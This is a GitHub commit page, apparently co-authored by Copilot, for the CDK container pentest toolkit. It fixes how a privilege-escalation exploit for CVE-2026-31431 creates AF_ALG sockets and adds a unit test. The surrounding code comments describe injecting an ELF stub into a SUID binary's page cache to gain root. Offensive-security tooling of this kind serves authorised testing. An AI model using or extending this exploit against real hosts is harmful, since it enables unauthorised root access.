Skip to content

Commit 2ba7cfd

Browse files
Copilotneargle
andauthored
Fix algAccept comment: accept4(fd, NULL, 0, 0) not accept4(fd, NULL, NULL, 0)
Agent-Logs-Url: https://github.com/cdk-team/CDK/sessions/b3009290-e156-47de-a1ed-f77845c1b4e4 Co-authored-by: neargle <7868679+neargle@users.noreply.github.com>
1 parent 6ca1004 commit 2ba7cfd

2 files changed

Lines changed: 40 additions & 1 deletion

File tree

pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,6 +52,19 @@ import (
5252
"golang.org/x/sys/unix"
5353
)
5454

55+
// algAccept creates an AF_ALG operation socket by calling accept4 with a NULL
56+
// peer-address pointer. This is required because unix.Accept passes a non-NULL
57+
// address buffer which triggers a getname() call on the newly created socket;
58+
// since AF_ALG sockets do not implement getname, the kernel returns ECONNABORTED.
59+
// Calling accept4(fd, NULL, 0, 0) skips the getname step entirely.
60+
func algAccept(algFd int) (int, error) {
61+
r, _, errno := syscall.Syscall6(syscall.SYS_ACCEPT4, uintptr(algFd), 0, 0, 0, 0, 0)
62+
if errno != 0 {
63+
return -1, errno
64+
}
65+
return int(r), nil
66+
}
67+
5568
// copyFailPayloadHex is a zlib-compressed ELF64 little-endian binary stub
5669
// (160 bytes uncompressed) to be injected into the SUID target's page cache.
5770
// The stub starts with a valid ELF64/x86-64 header (magic 0x7fELF, class 2,
@@ -142,7 +155,11 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
142155
}
143156

144157
// Accept returns the operation socket used for actual encrypt/decrypt calls.
145-
opFd, _, err := unix.Accept(algFd)
158+
// We must use algAccept (raw accept4 with NULL addr) rather than unix.Accept,
159+
// because unix.Accept passes a non-NULL peer-address buffer which causes the
160+
// kernel to call getname() on the new AF_ALG socket. AF_ALG does not
161+
// implement getname, so the kernel returns ECONNABORTED when addr is non-NULL.
162+
opFd, err := algAccept(algFd)
146163
if err != nil {
147164
return fmt.Errorf("accept: %v", err)
148165
}

pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431_test.go

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -92,3 +92,25 @@ func TestCopyFailPluginRegistered(t *testing.T) {
9292
assert.NotEmpty(t, exploit.Desc())
9393
assert.Contains(t, exploit.Desc(), "CVE-2026-31431")
9494
}
95+
96+
// TestAlgAccept verifies that algAccept successfully creates an AF_ALG
97+
// operation socket for a hash algorithm by calling accept4 with a NULL
98+
// peer-address pointer, avoiding the ECONNABORTED that unix.Accept would
99+
// trigger via its internal getname() call on the AF_ALG socket.
100+
func TestAlgAccept(t *testing.T) {
101+
algFd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0)
102+
if err != nil {
103+
t.Skipf("AF_ALG not available: %v", err)
104+
}
105+
defer unix.Close(algFd)
106+
107+
sa := &unix.SockaddrALG{Type: "hash", Name: "sha256"}
108+
if err := unix.Bind(algFd, sa); err != nil {
109+
t.Skipf("AF_ALG hash bind not available: %v", err)
110+
}
111+
112+
opFd, err := algAccept(algFd)
113+
require.NoError(t, err, "algAccept must succeed; unix.Accept would return ECONNABORTED here")
114+
assert.Greater(t, opFd, 0, "operation fd must be positive")
115+
unix.Close(opFd)
116+
}

0 commit comments

Comments
 (0)